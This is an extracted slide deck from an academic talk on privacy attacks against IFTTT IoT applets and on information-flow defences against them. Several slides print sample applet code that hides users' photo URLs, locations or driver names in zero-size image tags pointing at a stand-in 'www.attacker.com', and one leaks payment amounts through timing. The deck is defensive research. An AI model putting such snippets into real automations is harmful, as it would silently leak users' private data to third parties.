Breaking and Fixing IoT Apps
Joint work with Iulia Bastys and Musard Balliu Appeared in CCS’18
Andrei Sabelfeld
Breaking and Fixing IoT Apps Andrei Sabelfeld Joint work with Iulia - - PowerPoint PPT Presentation
Breaking and Fixing IoT Apps Andrei Sabelfeld Joint work with Iulia Bastys and Musard Balliu Appeared in CCS18 Web of Things Internet of Things (IoT) Incompatible standards, platforms, technologies World Wide Web Consortium (W3C)
Joint work with Iulia Bastys and Musard Balliu Appeared in CCS’18
Andrei Sabelfeld
“World Wide Web Consortium (W3C) is in a unique position to create the royalty-free and platform-independent standards needed to overcome the fragmentation of the IoT”
Security implications? Internet of Things (IoT)
“Connecting otherwise unconnected services”
Trigger
Action What can go wrong? J
Trigger
Action What can go wrong? J
Trigger
Action Users explicitly grant the app access JavaScript “sandboxed”
Trigger
Action
1.Upload new image file to IFTTT
under public URL
Google Drive API for upload to Google
“Connecting otherwise unconnected services”
Privacy Integrity & availability
50 100 150 200 appliances blogging bookmarking business tools calendars & scheduling cloud storage communication connected car contacts developer tools diy electronics email environment control & monitoring finance & payments health & fitness journaling & personal data location mobile devices & accessories music news & information notes notifications photo & video power monitoring & management security & monitoring systems shopping smart hubs & systems social networks survey tools tags & beacons task management & to-dos time management & tracking voice assistants
Number of triggers per category
Private Available Public
20 40 60 80 100 120 140 160 180 appliances blogging bookmarking business tools calendars & scheduling cloud storage communication connected car contacts developer tools diy electronics email environment control & monitoring gardening health & fitness journaling & personal data lighting mobile devices & accessories music news & information notes notifications pet trackers photo & video power monitoring & management routers & computer accessories security & monitoring systems shopping smart hubs & systems social networks survey tools task management & to-dos time management & tracking television & cable tags & beacons
Cumulative number of actions per category
Public Untrusted Available
appliances blogging bookmarking business tools calendars & scheduling cloud storage communication connected car contacts developer tools diy electronics education email environment control & monitoring finance & payments health & fitness journaling & personal data lighting location mobile devices & accessories music news & information notes notifications photo & video power monitoring & management routers & computer accessories security & monitoring systems shopping smart hubs & systems social networks survey tools tags & beacons task management & to-dos time management & tracking voice assistants appliances blogging bookmarking business tools calendars & scheduling cloud storage communication connected car contacts developer tools diy electronics education email environment control & monitoring finance & payments health & fitness journaling & personal data lighting location mobile devices & accessories music news & information notes notifications photo & video power monitoring & management routers & computer accessories security & monitoring systems shopping smart hubs & systems social networks survey tools tags & beacons task management & to-dos time management & tracking voice assistants
200 400 600 800 1000
authentication
JSFlow
APPLET TITLE
Automatically back up your new iOS photos to Google Drive
TRIGGER
Any new photo
ACTION
Upload file from URL
var publicPhotoURL = encodeURIComponent(IosPhotos.newPhotoInCameraRoll.PublicPhotoURL); var attack = ‘www.attacker.com?’ + publicPhotoURL; GoogleDrive.uploadFileFromUrlGoogleDrive.setUrl(attack); FILTER & TRANSFORM
26
APPLET TITLE
Automatically back up your new iOS photos to Google Drive
TRIGGER
Any new photo
ACTION
Upload file from URL
var publicPhotoURL = encodeURIComponent(IosPhotos.newPhotoInCameraRoll.PublicPhotoURL); var attack = ‘www.attacker.com?’ + publicPhotoURL; GoogleDrive.uploadFileFromUrlGoogleDrive.setUrl(attack); FILTER & TRANSFORM
27
APPLET TITLE
Automatically get an email every time you park your BMW with a map
TRIGGER
Car is parked
ACTION
Send me an email
var loc = encodeURIComponent(Location.enterOrExitRegionLocation.LocationMapUrl); var locImg = ‘<img src=\”’ + Location.enterOrExitRegionLocation.LocationMapUrl + ‘\”>’; var attack = ‘<img src=\”www.attacker.com?’ + loc + ‘\” style=\” width:0px; height:0px; \”>’; var iftttLogo = ‘<img src=\”www.ifttt.com/logo.png” style=\” width:100px; height:100px; \”>’; Email.sendMeEmail.setBody(‘I ‘ + Location.enterOrExitRegionLocation.EnteredOrExited + ‘ an area ’ + locImg + iftttLogo + attack); FILTER & TRANSFORM
28
APPLET TITLE
Automatically get an email every time you park your BMW with a map
TRIGGER
Car is parked
ACTION
Send me an email
var loc = encodeURIComponent(Location.enterOrExitRegionLocation.LocationMapUrl); var locImg = ‘<img src=\”’ + Location.enterOrExitRegionLocation.LocationMapUrl + ‘\”>’; var attack = ‘<img src=\”www.attacker.com?’ + loc + ‘\” style=\” width:0px; height:0px; \”>’; var iftttLogo = ‘<img src=\”www.ifttt.com/logo.png” style=\” width:100px; height:100px; \”>’; Email.sendMeEmail.setBody(‘I ‘ + Location.enterOrExitRegionLocation.EnteredOrExited + ‘ an area ’ + locImg + iftttLogo + attack); FILTER & TRANSFORM
29
APPLET TITLE
Log your completed rides in Google Calendar
TRIGGER
Ride completed
ACTION
Quick add event
var rideMap = Uber.rideCompleted.TripMapImage; var driver = Uber.rideCompleted.DriverName; for (i = 0; i < driver.length; i++) for (j = 32; j < 127; j++){ t = driver[i] == String.fromCharCode(j); if (t) { dst[i] = String.fromCharCode(j); } } var attack = ‘<img src=\”www.attacker.com?’ + dst + ‘\” style=\” width:0px; height:0px; \”>’; GoogleCalendar.quickAddEvent.setQuickAdd(rideMap + attack); FILTER & TRANSFORM
30
APPLET TITLE
Log your completed rides in Google Calendar
TRIGGER
Ride completed
ACTION
Quick add event
var rideMap = Uber.rideCompleted.TripMapImage; var driver = Uber.rideCompleted.DriverName; for (i = 0; i < driver.length; i++) for (j = 32; j < 127; j++){ t = driver[i] == String.fromCharCode(j); if (t) { dst[i] = String.fromCharCode(j); } } var attack = ‘<img src=\”www.attacker.com?’ + dst + ‘\” style=\” width:0px; height:0px; \”>’; GoogleCalendar.quickAddEvent.setQuickAdd(rideMap + attack); FILTER & TRANSFORM
31
APPLET TITLE
Get an email alert when your kids come home and connect to Almond
TRIGGER
A device has connected
ACTION
Send me an email
var logo = ‘<img src=\”www.logo.com/350x150” style=\” width:100px; height:100px; \”>’; Email.sendAnEmail.setBody(“Your kids just got home. ” + logo); FILTER & TRANSFORM
32
APPLET TITLE
Automatically log your new Stripe payments to a Google spreadsheet
TRIGGER
New payment received
ACTION
Add row to spreadsheet
var attack = ‘<img src=\”www.attacker.com” style=\” width:0px; height:0px; \”>’; var n = parseInt(Stripe.newPayment.Amount); while (n > 0) { n--; } GoogleSheets.appendToGoogleSpreadsheet.setFormattedRow(‘New Stripe payment ’ + Stripe.newPayment.Amount + attack); FILTER & TRANSFORM
33
APPLET TITLE
Automatically log your new Stripe payments to a Google spreadsheet
TRIGGER
New payment received
ACTION
Add row to spreadsheet
var attack = ‘<img src=\”www.attacker.com” style=\” width:0px; height:0px; \”>’; var n = parseInt(Stripe.newPayment.Amount); while (n > 0) { n--; } GoogleSheets.appendToGoogleSpreadsheet.setFormattedRow(‘New Stripe payment ’ + Stripe.newPayment.Amount + attack); FILTER & TRANSFORM
34
www.attacker.com?privateData www.ifttt.com/logo.png www.attacker.com www.logo.com/350x150 ... ... explicit implicit presence timing
35
www.attacker.com?privateData www.ifttt.com/logo
www.ifttt.com www.attacker.com www.logo.com
Whitelist Blacklist
www.attacker.com www.logo.com/350x150
36
www.google.com
Security policy Attacker’s view
‘<img src=\”www.attacker.com?’ + loc + ‘\” style=\” width:0px; height:0px; \”>’|A =
[ www.attacker.com?loc ]
‘<img src=\”www.ifttt.com/logo” style=\” width:100px; height:100px; \”>’|A = ∅ ‘<img src=\”www.attacker.com?’ + dst + ‘\” style=\” width:0px; height:0px; \”>’|A =
[ www.attacker.com?dst ]
‘<img src=\”www.logo.com/350x150” style=\” width:100px; height:100px; \”>’|A =
[ www.logo.com?350x150 ]
37
38
Indistinguishability by attacker
string1 ~A string2 if string1|A = string2|A
I
Insecure flow from Uber.rideCompleted.DriverName to www.attacker.com.
39
Automated vetting
timing
explicit implicit explicit implicit presence
40
41
Flow-sensitive security type system Flow-insensitive write effects Flow-sensitive read effects
imgLoc = img(h); attack = img(b + h); sink(imgLoc + attack);
logo = img(w1); if (h1) { logo = img(w2); } sink(h2 + logo); SECURE logo = img(b1); if (h1) { logo = img(b2); } sink(h2 + logo); INSECURE
presence timing
NOT HANDLED
42
INSECURE
43
Single label Step counter
JSFlow
triggering the app is sensitive & no timeout ⟹ no blacklisted URLs on the sink triggering the applet is not sensitive & no timeout ⟹ monitor flows in the filter code
44
attack = img(b); while (h1 > 0) { h1--; } sink(h2 + attack); INSECURE
logo = img(b); sink(“Your kids are home.” + logo); unless you park at hospital INSECURE INSECURE INSECURE SECURE
45
INSECURE
JSFlow